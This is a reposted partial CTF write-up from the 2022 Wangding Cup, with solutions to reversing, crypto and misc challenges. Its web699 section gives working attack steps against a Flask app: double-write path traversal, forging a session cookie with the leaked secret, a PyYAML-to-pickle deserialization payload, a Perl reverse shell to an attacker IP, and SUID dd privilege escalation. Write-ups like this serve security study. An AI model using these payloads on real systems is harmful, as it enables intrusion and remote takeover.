IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> 2022第三届“网鼎杯”网络安全大赛-青龙组 部分WriteUp -> 正文阅读

[网络协议]2022第三届“网鼎杯”网络安全大赛-青龙组 部分WriteUp

MISC

签到题

八道网络安全选择题,百度都能搜索到答案,这里如果只知道部分题目答案,可以通过枚举测试fuzz答案,获得flag

flag:

flag{a236b34b-8040-4ea5-9e1c-97169aa3f43a}

RE

re693

直接下载附件用golang打开

看main函数可以发现会打印两句话,要求输入有六个参数并且第三个为gLIhR?的函数、被调用三次并且会调用到cHZv5op8rOmlAkb6的函数

Input the first function, which has 6 parameters and the third named gLIhR:
输入第一个函数,它有 6 个参数,第三个名为 gLIhR:
Input the second function, which has 3 callers and invokes the function named cHZv5op8rOmlAkb6:
输入第二个函数,它有 3 个调用者并调用名为 cHZv5op8rOmlAkb6 的函数:
直接全局搜索,第一个函数为,ZlXDJkH3OZN4Mayd,有6个参数

第二个函数可以先全局搜索cHZv5op8rOmlAkb6?看哪个函数会调用到这个函数,然后再进一步搜索看看符不符合题意,相对应函数为UhnCm82SDGE0zLYO

有6个,出去自己,还有之后那个2个重复判断,则有3个调用

然后就是看主函数

func main() {
 var nFAzj, CuSkl string
    jjxXf := []byte{
 37, 73, 151, 135, 65, 58, 241, 90, 33, 86, 71, 41, 102, 241, 213, 234, 67, 144, 139, 20, 112, 150, 41, 7, 158, 251, 167, 249, 24, 129, 72, 64, 83, 142, 166, 236, 67, 18, 211, 100, 91, 38, 83, 147, 40, 78, 239, 113, 232, 83, 227, 47, 192, 227, 70, 167, 201, 249, 156, 101, 216, 159, 116, 210, 152, 234, 38, 145, 198, 58, 24, 183, 72, 143, 136, 234, 246}
 KdlaH := []byte{
 191, 140, 114, 245, 142, 55, 190, 30, 161, 18, 200, 7, 21, 59, 17, 44, 34, 181, 109, 116, 146, 145, 189, 68, 142, 113, 0, 33, 46, 184, 21, 33, 66, 99, 124, 167, 201, 88, 133, 20, 211, 67, 133, 250, 62, 28, 138, 229, 105, 102, 125, 124, 208, 180, 50, 146, 67, 39, 55, 240, 239, 203, 230, 142, 20, 90, 205, 27, 128, 136, 151, 140, 222, 92, 152, 1, 222, 138, 254, 246, 223, 224, 236, 33, 60, 170, 189, 77, 124, 72, 135, 46, 235, 17, 32, 28, 245}
    fmt.Print(MPyt9GWTRfAFNvb1(jjxXf))
    fmt.Scanf("%20s", &nFAzj)
    fmt.Print(kZ2BFvOxepd5ALDR(KdlaH))
    fmt.Scanf("%20s", &CuSkl)
    vNvUO := GwSqNHQ7dPXpIG64(nFAzj)
 YJCya := ""
    mvOxK := YI3z8ZxOKhfLmTPC(CuSkl)
 if mvOxK != nil {
 YJCya = mvOxK()
 }


 if YJCya != "" && vNvUO != "" {
        fmt.Printf("flag{%s%s}\n", vNvUO, YJCya)
 }
}

flag分为两段,第一段为vNvUO,第二段为YJCya

第一段函数

func GwSqNHQ7dPXpIG64(cJPTR string) string {
 YrXQd := hex.EncodeToString([]byte(cJPTR))
 return fmt.Sprintf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c", YrXQd[22], YrXQd[19], YrXQd[20], YrXQd[21], YrXQd[28], YrXQd[10], YrXQd[20], YrXQd[7], YrXQd[29], YrXQd[14], YrXQd[0], YrXQd[18], YrXQd[3], YrXQd[24], YrXQd[27], YrXQd[31])
}

第一段exp

YrXQd=bytes.hex('ZlXDJkH3OZN4Mayd'.encode())
print(YrXQd[22], YrXQd[19], YrXQd[20], YrXQd[21], YrXQd[28], YrXQd[10], YrXQd[20], YrXQd[7], YrXQd[29], YrXQd[14], YrXQd[0], YrXQd[18], YrXQd[3], YrXQd[24], YrXQd[27], YrXQd[31],sep='')

第二段涉及函数

这一块是返回函数,要去调用UhnCm82SDGE0zLYO

func UhnCm82SDGE0zLYO() string {
 SythK := []byte{
 159, 141, 72, 106, 196, 62, 16, 205, 170, 159, 36, 232, 125, 239, 208, 3}
 var Vw2mJ, Nij87, zVclR string
 return cHZv5op8rOmlAkb6(SythK, Vw2mJ, Nij87, zVclR)
}
func cHZv5op8rOmlAkb6(HIGXt []byte, VGvny string, ZOkKV string, eU0uD string) string {
 QTk4l := make([]byte, 20)
 Ek08m := [16]byte{
 167, 238, 45, 89, 160, 95, 34, 175, 158, 169, 20, 217, 68, 137, 231, 54}
 for i := 0; i < 16; i++ {
 QTk4l[i] += Ek08m[i] ^ HIGXt[i]
 }


 return string(QTk4l)
}

其中后面几个Vw2mJ, Nij87, zVcl,参数为无效参数

exp:

QTk4l=[0]*16
SythK= [159, 141, 72, 106, 196, 62, 16, 205, 170, 159, 36, 232, 125, 239, 208, 3]
Ek08m=[167, 238, 45, 89, 160, 95, 34, 175, 158, 169, 20, 217, 68, 137, 231, 54]
for i in range(16):
 QTk4l[i] = chr(Ek08m[i] ^ SythK[i])
for i in QTk4l:
 print(i,end='')

非预期,自己的go环境运行输入第一个会直接退出,队友的运行直接可以得到flag,离谱

flag:

flag{3a4e76449355c4148ce3da2b46019f75}

re694

被魔改了,将FUK修改成UPX,正常脱壳

然后进行分析

IDA打开,找关键字符串,再定位到关键函数

两个关键的判断函数,第一个进去发现判断是否为20长,然后再输入的值异或上0x66

第二个判断函数,是将第一个判断后的值加上10再异或0x50,再和dword_14001D000里的数比较

即是$flag = ((enc \oplus 0x50)-10)\oplus0x66$

x = ['4B', '48', '79', '13', '45', '30', '5C', '49', '5A', '79', '13', '70', '6D', '78', '13', '6F', '48', '5D', '64', '64']
for i in x:
 print(chr(((int(i, 16) ^ 0x50) - 10) ^ 0x66), end='')

flag:

flag{why_m0dify_pUx_SheLL}

CRYPTO

crypto091

根据描述和其中提到的论文,Hash值为电话号码的sha256

170号段首批放号的联通号码以1709开头,直接爆破即可:

x = 'c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc'
import hashlib
n = b'861709'
s = list('0123456789'.strip())
import itertools
for i in itertools.product(s,repeat = 7):
    d = ''.join(i).encode()
    g = n+d
 if hashlib.sha256(g).hexdigest() == x:
 print(g)
 break
# b'8617091733716'
或者

crypto162

from secret import flag
from hashlib import md5,sha256
from Crypto.Cipher import AES
cof_t = [[353, -1162, 32767], [206, -8021, 42110], [262, -7088, 31882], [388, -6394, 21225], [295, -9469, 44468], [749, -3501, 40559], [528, -2690, 10210], [354, -5383, 18437], [491, -8467, 26892], [932, -6984, 20447], [731, -6281, 11340], [420, -5392, 44071], [685, -6555, 40938], [408, -8070, 47959], [182, -9857, 49477], [593, -3584, 49243], [929, -7410, 31929], [970, -4549, 17160], [141, -2435, 36408], [344, -3814, 18949], [291, -7457, 40587], [765, -7011, 32097], [700, -8534, 18013], [267, -2541, 33488], [249, -8934, 12321], [589, -9617, 41998], [840, -1166, 22814], [947, -5660, 41003], [206, -7195, 46261], [784, -9270, 28410], [338, -3690, 19608], [559, -2078, 44397], [534, -3438, 47830], [515, -2139, 39546], [603, -6460, 49953], [234, -6824, 12579], [805, -8793, 36465], [245, -5886, 21077], [190, -7658, 20396], [392, -7053, 19739], [609, -5399, 39959], [479, -8172, 45734], [321, -7102, 41224], [720, -4487, 11055], [208, -1897, 15237], [890, -4427, 35168], [513, -5106, 45849], [666, -1137, 23725], [755, -6732, 39995], [589, -6421, 43716], [866, -3265, 30017], [416, -6540, 34979], [840, -1305, 18242], [731, -6844, 13781], [561, -2728, 10298], [863, -5953, 23132], [204, -4208, 27492], [158, -8701, 12720], [802, -4740, 16628], [491, -6874, 29057], [531, -4829, 29205], [363, -4775, 41711], [319, -9206, 46164], [317, -9270, 18290], [680, -5136, 12009], [880, -2940, 34900], [162, -2587, 49881], [997, -5265, 20890], [485, -9395, 23048], [867, -1652, 18926], [691, -7844, 11180], [355, -5990, 13172], [923, -2018, 23110], [214, -4719, 23005], [921, -9528, 29351], [349, -7957, 20161], [470, -1889, 46170], [244, -6106, 23879], [419, -5440, 43576], [930, -1123, 29859], [151, -5759, 23405], [843, -6770, 36558], [574, -6171, 33778], [772, -1073, 44718], [932, -4037, 40088], [848, -5813, 27304], [194, -6016, 39770], [966, -6789, 14217], [219, -6849, 40922], [352, -6046, 18558], [794, -8254, 29748], [618, -5887, 15535], [202, -9288, 26590], [611, -4341, 46682], [155, -7909, 16654], [935, -5739, 39342], [998, -6538, 24363], [125, -5679, 36725], [507, -7074, 15475], [699, -5836, 47549]]

defcal(i,cof):
if i < 3:
return i+1
else:
return cof[2]*cal(i-3,cof)+cof[1]*cal(i-2,cof)+cof[0]*cal(i-1,cof)

s = 0
for i inrange(100):
s += cal(200000,cof_t[i])

print(s)
s = str(s)[-2000:-1000]
key = md5(s).hexdigest().decode('hex')
check = sha256(key).hexdigest()
verify = '2cf44ec396e3bb9ed0f2f3bdbe4fab6325ae9d9ec3107881308156069452a6d5'
assert(check == verify)
aes = AES.new(key,AES.MODE_ECB)
data = flag + (16-len(flag)%16)*"\x00"
print (aes.encrypt(data).encode('hex'))
#4f12b3a3eadc4146386f4732266f02bd03114a404ba4cb2dabae213ecec451c9d52c70dc3d25154b5af8a304afafed87
根据题目提示,想到将递归公式转换成矩阵(参考 ?线性代数求解递推形式数列的通项公式_wdq347的博客-CSDN博客)
from hashlib import md5, sha256
from Crypto.Cipher import AES

cof_t = [[353, -1162, 32767], [206, -8021, 42110], [262, -7088, 31882], [388, -6394, 21225], [295, -9469, 44468], [749, -3501, 40559], [528, -2690, 10210], [354, -5383, 18437], [491, -8467, 26892], [932, -6984, 20447], [731, -6281, 11340], [420, -5392, 44071], [685, -6555, 40938], [408, -8070, 47959], [182, -9857, 49477], [593, -3584, 49243], [929, -7410, 31929], [970, -4549, 17160], [141, -2435, 36408], [344, -3814, 18949], [291, -7457, 40587], [765, -7011, 32097], [700, -8534, 18013], [267, -2541, 33488], [249, -8934, 12321], [589, -9617, 41998], [840, -1166, 22814], [947, -5660, 41003], [206, -7195, 46261], [784, -9270, 28410], [338, -3690, 19608], [559, -2078, 44397], [534, -3438, 47830], [515, -2139, 39546], [603, -6460, 49953], [234, -6824, 12579], [805, -8793, 36465], [245, -5886, 21077], [190, -7658, 20396], [392, -7053, 19739], [609, -5399, 39959], [479, -8172, 45734], [321, -7102, 41224], [720, -4487, 11055], [208, -1897, 15237], [890, -4427, 35168], [513, -5106, 45849], [666, -1137, 23725], [755, -6732, 39995], [589, -6421, 43716], [866, -3265, 30017], [416, -6540, 34979], [840, -1305, 18242], [731, -6844, 13781], [561, -2728, 10298], [863, -5953, 23132], [204, -4208, 27492], [158, -8701, 12720], [802, -4740, 16628], [491, -6874, 29057], [531, -4829, 29205], [363, -4775, 41711], [319, -9206, 46164], [317, -9270, 18290], [680, -5136, 12009], [880, -2940, 34900], [162, -2587, 49881], [997, -5265, 20890], [485, -9395, 23048], [867, -1652, 18926], [691, -7844, 11180], [355, -5990, 13172], [923, -2018, 23110], [214, -4719, 23005], [921, -9528, 29351], [349, -7957, 20161], [470, -1889, 46170], [244, -6106, 23879], [419, -5440, 43576], [930, -1123, 29859], [151, -5759, 23405], [843, -6770, 36558], [574, -6171, 33778], [772, -1073, 44718], [932, -4037, 40088], [848, -5813, 27304], [194, -6016, 39770], [966, -6789, 14217], [219, -6849, 40922], [352, -6046, 18558], [794, -8254, 29748], [618, -5887, 15535], [202, -9288, 26590], [611, -4341, 46682], [155, -7909, 16654], [935, -5739, 39342], [998, -6538, 24363], [125, -5679, 36725], [507, -7074, 15475], [699, -5836, 47549]]

def cal(i, cof):
 if i < 3:
 return i + 1
 else:
 return cof[2] * cal(i - 3, cof) + cof[1] * cal(i - 2, cof) + cof[0] * cal(i - 1, cof)

def cal_m(i, cof):
    M = Matrix(ZZ, [[cof[0], cof[1], cof[2]], [1, 0, 0], [0, 1, 0]])
    b = vector(ZZ, [cal(5, cof), cal(4, cof), cal(3, cof)])
    b = M ^ (i - 5) * b
 return int(b[0])

s = 0
for i in range(100):
    s += cal_m(200000, cof_t[i])

s = str(s)[-2000:-1000]
key = bytes.fromhex(md5(s.encode()).hexdigest())
check = sha256(key).hexdigest()
verify = '2cf44ec396e3bb9ed0f2f3bdbe4fab6325ae9d9ec3107881308156069452a6d5'
assert (check == verify)
aes = AES.new(key, AES.MODE_ECB)
# 4f12b3a3eadc4146386f4732266f02bd03114a404ba4cb2dabae213ecec451c9d52c70dc3d25154b5af8a304afafed87
c = '4f12b3a3eadc4146386f4732266f02bd03114a404ba4cb2dabae213ecec451c9d52c70dc3d25154b5af8a304afafed87'
c = bytes.fromhex(c)
print(aes.decrypt(c))
# b'flag{519427b3-d104-4c34-a29d-5a7c128031ff}\x00\x00\x00\x00\x00\x00'
或者
#sagemath
cof_t = [[353, -1162, 32767], [206, -8021, 42110], [262, -7088, 31882], [388, -6394, 21225], [295, -9469, 44468], [749, -3501, 40559], [528, -2690, 10210], [354, -5383, 18437], [491, -8467, 26892], [932, -6984, 20447], [731, -6281, 11340], [420, -5392, 44071], [685, -6555, 40938], [408, -8070, 47959], [182, -9857, 49477], [593, -3584, 49243], [929, -7410, 31929], [970, -4549, 17160], [141, -2435, 36408], [344, -3814, 18949], [291, -7457, 40587], [765, -7011, 32097], [700, -8534, 18013], [267, -2541, 33488], [249, -8934, 12321], [589, -9617, 41998], [840, -1166, 22814], [947, -5660, 41003], [206, -7195, 46261], [784, -9270, 28410], [338, -3690, 19608], [559, -2078, 44397], [534, -3438, 47830], [515, -2139, 39546], [603, -6460, 49953], [234, -6824, 12579], [805, -8793, 36465], [245, -5886, 21077], [190, -7658, 20396], [392, -7053, 19739], [609, -5399, 39959], [479, -8172, 45734], [321, -7102, 41224], [720, -4487, 11055], [208, -1897, 15237], [890, -4427, 35168], [513, -5106, 45849], [666, -1137, 23725], [755, -6732, 39995], [589, -6421, 43716], [866, -3265, 30017], [416, -6540, 34979], [840, -1305, 18242], [731, -6844, 13781], [561, -2728, 10298], [863, -5953, 23132], [204, -4208, 27492], [158, -8701, 12720], [802, -4740, 16628], [491, -6874, 29057], [531, -4829, 29205], [363, -4775, 41711], [319, -9206, 46164], [317, -9270, 18290], [680, -5136, 12009], [880, -2940, 34900], [162, -2587, 49881], [997, -5265, 20890], [485, -9395, 23048], [867, -1652, 18926], [691, -7844, 11180], [355, -5990, 13172], [923, -2018, 23110], [214, -4719, 23005], [921, -9528, 29351], [349, -7957, 20161], [470, -1889, 46170], [244, -6106, 23879], [419, -5440, 43576], [930, -1123, 29859], [151, -5759, 23405], [843, -6770, 36558], [574, -6171, 33778], [772, -1073, 44718], [932, -4037, 40088], [848, -5813, 27304], [194, -6016, 39770], [966, -6789, 14217], [219, -6849, 40922], [352, -6046, 18558], [794, -8254, 29748], [618, -5887, 15535], [202, -9288, 26590], [611, -4341, 46682], [155, -7909, 16654], [935, -5739, 39342], [998, -6538, 24363], [125, -5679, 36725], [507, -7074, 15475], [699, -5836, 47549]]
B = [[3],[2],[1]]
B = matrix(B)
s = 0
for i inrange(100):
    A = [cof_t[i],[1,0,0],[0,1,0]]
    A = matrix(A)
    C = A^(200000-2)*B
    s += C[0][0]

print(str(s)[-2000:-1000])


#python
from hashlib import md5,sha256
from binascii import unhexlify
from Crypto.Cipher import AES
s = '8365222366127410597598169954399481033882921410074214649102398062373189165630613993923060190128768377015697889610969869189338768501949778819512483009804114510646333513147157016729806311717181191848898389803672575716843797638777123435881498143998689577186959772296072473194533856870919617472555638920296793205581043222881816090693269730028856738454951305575065708823347157677411074157254186955326531403441609073128679935513392779152628590893913048822608749327034655805831509883357484164977115164240733564895591006693108254829407400850621646091808483228634435805213269066211974452289769022399418497986464430356041737753404266468993201044272042844144895601296459104534111416147795404108912440106970848660340526207025880755825643455720871621993251258247195860214917957713359490024807893442884343732717743882154397539800059579470352302688717025991780505564794824908605015195865226780305658376169579983423732703921876787723921599023795922881747318116849413935343800909756656082327558085457335537828343666748'
key = unhexlify(md5(s.encode()).hexdigest())
print(key)
check = sha256(key).hexdigest()
verify = '2cf44ec396e3bb9ed0f2f3bdbe4fab6325ae9d9ec3107881308156069452a6d5'
assert check == verify
aes = AES.new(key, AES.MODE_ECB)
cipher = unhexlify('4f12b3a3eadc4146386f4732266f02bd03114a404ba4cb2dabae213ecec451c9d52c70dc3d25154b5af8a304afafed87')
print(aes.decrypt(cipher))

crypto405

from Crypto.Util.number import *
from random import randrange

from grassfield import flag

p = getPrime(16)

k = [randrange(1,p) for i inrange(5)]

for i inrange(len(flag)):
grasshopper = flag[i]
for j inrange(5):
k[j] = grasshopper = grasshopper * k[j] % p
print('Grasshopper#'+str(i).zfill(2)+':'+hex(grasshopper)[2:].zfill(4))

给了42个,不过每组k都是有一定的规律

42长可以猜测flag 的形式为flag{uuid4}

那么前面5个grasshopper就是已知的,列出开头五组的式子

flag = b'flag{'
var('k0 k1 k2 k3 k4')
k = [k0, k1, k2, k3, k4]
res = []
for i in range(len(flag)):
    grasshopper = flag[i]
 for j in range(5):
        k[j] = grasshopper = grasshopper * k[j]
    res.append(grasshopper)
print(res)

这里就有五组等式,本来想着通过z3直接求,不过很遗憾不行

利用好flag的格式进行分析。

将前5个grasshopper的产生过程列出公式来,有:

知道密钥k,通过g_i*invert(k0*k1*k2*k3*k4,p)%p求得明文字符,然后重复一遍加密过程可以得到下一轮的密钥k

p的值可以进行爆破。

代码如下:

from gmpy2 import invert,gcd
#利用flag格式flag{ }
know = b'flag{'
#爆破p
g = [0x2066, 0xa222, 0xcbb1, 0xdbb4, 0xdeb4, 0xb1c5, 0x33a4, 0xc051, 0x3b79, 0x6bf8, 0x2131, 0x2c40, 0x91ba, 0x7b44, 0x5f25, 0x0208, 0x7edb, 0x62b5, 0xcec5, 0x5ab3, 0x3c46, 0xc272, 0x714b, 0x9e0b, 0x48ee, 0x44cc, 0x05a0, 0x3da3, 0x11b1, 0x259f, 0x899d, 0xa130, 0xe58f, 0x23f3, 0x5829, 0x6beb, 0x3681, 0x0054, 0xa189, 0x2765, 0xc63d, 0xbc68]
maxg = max(g)
for p inrange(maxg+1, 2**16):
if gcd(know[0], p) == 1and gcd(know[1], p) == 1and gcd(know[2], p) == 1and gcd(know[3], p) == 1and gcd(know[4], p) == 1:
g04 = g[0]

g14 = g[1]
if gcd(g04,p) != 1:
continue
g13 = g14 * invert(g04, p) % p

g24 = g[2]
if gcd(g14,p) != 1or gcd(g13,p) != 1:
continue
g23 = g24 * invert(g14, p) % p
g22 = g23 * invert(g13, p) % p

g34 = g[3]
if gcd(g24,p) != 1or gcd(g23,p) != 1or gcd(g22,p) != 1:
continue
g33 = g34 * invert(g24, p) % p
g32 = g33 * invert(g23, p) % p
g31 = g32 * invert(g22, p) % p

g44 = g[4]
if gcd(g34,p) != 1or gcd(g33,p) != 1or gcd(g32,p) != 1or gcd(g31,p) != 1:
continue
g43 = g44 * invert(g34, p) % p
g42 = g43 * invert(g33, p) % p
g41 = g42 * invert(g32, p) % p
g40 = g41 * invert(g31, p) % p

k = [g40, g41, g42, g43, g44]
flag = ''
for i inrange(5,42):
_k = k[0]*k[1]*k[2]*k[3]*k[4]
if gcd(_k, p) != 1:
break
alp = g[i] * invert(_k, p) % p
flag += chr(alp)
for j inrange(5):
k[j] = alp = alp * k[j] % p

if flag.endswith('}'):
print(f'p = {p}')
print(flag.encode())
#flag{749d39d4-78db-4c55-b4ff-bca873d0f18e}

web

web699

def download(file):
    if session.get('updir'):
        basedir = session.get('updir')
        try:
            path = os.path.join(basedir, file).replace('../', '')
            if os.path.isfile(path):
                return send_file(path)
            else:
                return path
        except:
            return response("Failed.", 500)

利用双写绕过 ../
payload:

http://eci-2zegcf515269ynfkw9xp.cloudeci1.ichunqiu.com:8888/....//....//....//....//....//....//....//etc/hosts

拿到hosts文件,得到secret_key : engine-1

??#?Kubernetes-managed?hosts?file.
??127.0.0.1?localhost
??::1?localhost?ip6-localhost?ip6-loopback
??fe00::0?ip6-localnet
??fe00::0?ip6-mcastprefix
??fe00::1?ip6-allnodes
??fe00::2?ip6-allrouters
??10.6.119.171?engine-1

根据源代码,把Guest改成Administrator即可开启上传权限,更改updir可以改变上传文件的目录

└─$?python3?flask_session_cookie_manager3.py?decode?-s?"engine-1"?-c?"eyJ1cGRpciI6InN0YXRpYy91cGxvYWRzLzRiM2NmMWZmYzkyMjRmNGQ4MzBjNWEyOWRiODU0ZDE1IiwidXNlciI6Ikd1ZXN0In0.Ywiv7A.OS3IHqaOzrmCRx50l1eTUJh2Qrg"
{'updir':?'static/uploads/4b3cf1ffc9224f4d830c5a29db854d15',?'user':?'Guest'}

更改session上传文件

首先上传一个普通rar文件测试(不能被check) 文件名:fff.rar

POST?/upload?HTTP/1.1
Host:?eci-2zegcf515269ynfkw9xp.cloudeci1.ichunqiu.com:8888
Content-Length:?658
Cache-Control:?max-age=0
Upgrade-Insecure-Requests:?1
Origin:?http://eci-2zegcf515269ynfkw9xp.cloudeci1.ichunqiu.com:8888
Content-Type:?multipart/form-data;?boundary=----WebKitFormBoundarycWHiBd1u820grB2v
User-Agent:?Mozilla/5.0?(X11;?Linux?x86_64)?AppleWebKit/537.36?(KHTML,?like?Gecko)?Chrome/99.0.4844.51?Safari/537.36?Edg/99.0.1150.30
Accept:?text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:?http://eci-2zegcf515269ynfkw9xp.cloudeci1.ichunqiu.com:8888/
Accept-Encoding:?gzip,?deflate
Accept-Language:?zh,en-US;q=0.9,en;q=0.8
Cookie:?UM_distinctid=17fafc501cb1894-00e2da0225aa6a-13495c7e-1fa400-17fafc501cc15bb;?chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O;?Hm_lvt_2d0601bd28de7d49818249cf35d95943=1659141632,1661235002;?session=eyJ1cGRpciI6Ii4vIiwidXNlciI6IkFkbWluaXN0cmF0b3IifQ.YwiwRw.zCEEWeUKe6MANxewBQvv86cfTpE
Connection:?close
????
------WebKitFormBoundarycWHiBd1u820grB2v
Content-Disposition:?form-data;?name="file";?filename="fff.rar"
Content-Type:?application/vnd.rar
????
Rar!óá??%?$?¤F,Jcpasswd
!Ac?fY?Pd3#?VM?
6[¢ù$I2éomóo?`:¨6y°?$?eéKà?Dj9I|ó9&I¤±'÷ù·>ac.??lCμ-¥?á:Uc)#üp"/sPá\?-2?>#÷?;12tH([oZ?Yuió?ffGY29è(M)NJ?èrbt?$?:d8BF?&jT6Uúí?C¢?X¤g?a±[?pb8UkVò?6X?^|°?1Pcé???μ84?/bêo<'Mé/!7???1·-3}TT?,è?8v?WS?$?Mì:è?^BZhS_?ió#*h?VM?9To.X?á?-zaó?uZ?üZ??B?13????J??[?Jé??3?jà5ò^||ò?q?????ú/??K,R?t|wVQ
------WebKitFormBoundarycWHiBd1u820grB2v--

根据代码,上传文件成功后会在fileinfo文件夹内生成一个yaml文件,并在 /display 路由下加载该yaml文件,那么如果更改 updir 的值为网站主目录,然后把rar文件命名为 fileinfo.rar。

这样该rar文件内的内容就会被直接解压到 fileinfo 目录内,那么就有机会覆盖其他rar文件对应的yaml文件,通过复写yaml文件导致任意命令执行。

PyYAML 反序列化

首先制作恶意的rar文件

  • yaml文件

由于题目里有过滤条件,通过直接加载yaml文件进行命令执行较为困难,所以同步上传一个pickle反序列化文件,通过yaml加载pickle文件进行命令执行。payload:

filename:?aaa.rar
files:
??????-?!!python/object/new:bytes
????????-?!!python/object/new:map
??????????-?!!python/name:eval
??????????-?["__import__\x28'pickle'\x29.load\x28open\x28'fileinfo/pik','rb'\x29\x29"]

同时将该yaml文件命名为9d2718721006ee787d641f526da07952.yaml,文件名为第一次上传的正常文件的文件名的md5值,这样访问那个正常rar文件时就可以触发该恶意的yaml文件。

  • 恶意pickle反序列化文件

手写opcode,payload:

cos
system
(S'perl?-e?\'use?Socket;$i="ip";$p=7001;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh?-i");};\''
tR.
  • 上传打包好的rar文件

将pickle 文件也打包进去

rar?a?fileinfo.rar?9d2718721006ee787d641f526da07952.yaml?pik

在 ./ 目录下上传 fileinfo.rar 文件

更改session, payload:

└─$?python3?flask_session_cookie_manager3.py?encode?-s?"engine-1"?-t?"{'updir':?'./',?'user':?'Administrator'}"?????
eyJ1cGRpciI6Ii4vIiwidXNlciI6IkFkbWluaXN0cmF0b3IifQ.YwiwRw.zCEEWeUKe6MANxewBQvv86cfTp

上传之后重新访问fff.rar 文件,在服务器端监听收到反弹的shell

Suid提权

发现没有访问flag的权限,全局搜索suid权限命令进行提权访问,发现dd命令可以利用

dd 提权法 :https://www.cnblogs.com/zlgxzswjy/p/12746160.html

成功获得flag

来源连接:
  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-09-04 01:45:01  更:2022-09-04 01:46:38 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/28 20:30:33-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计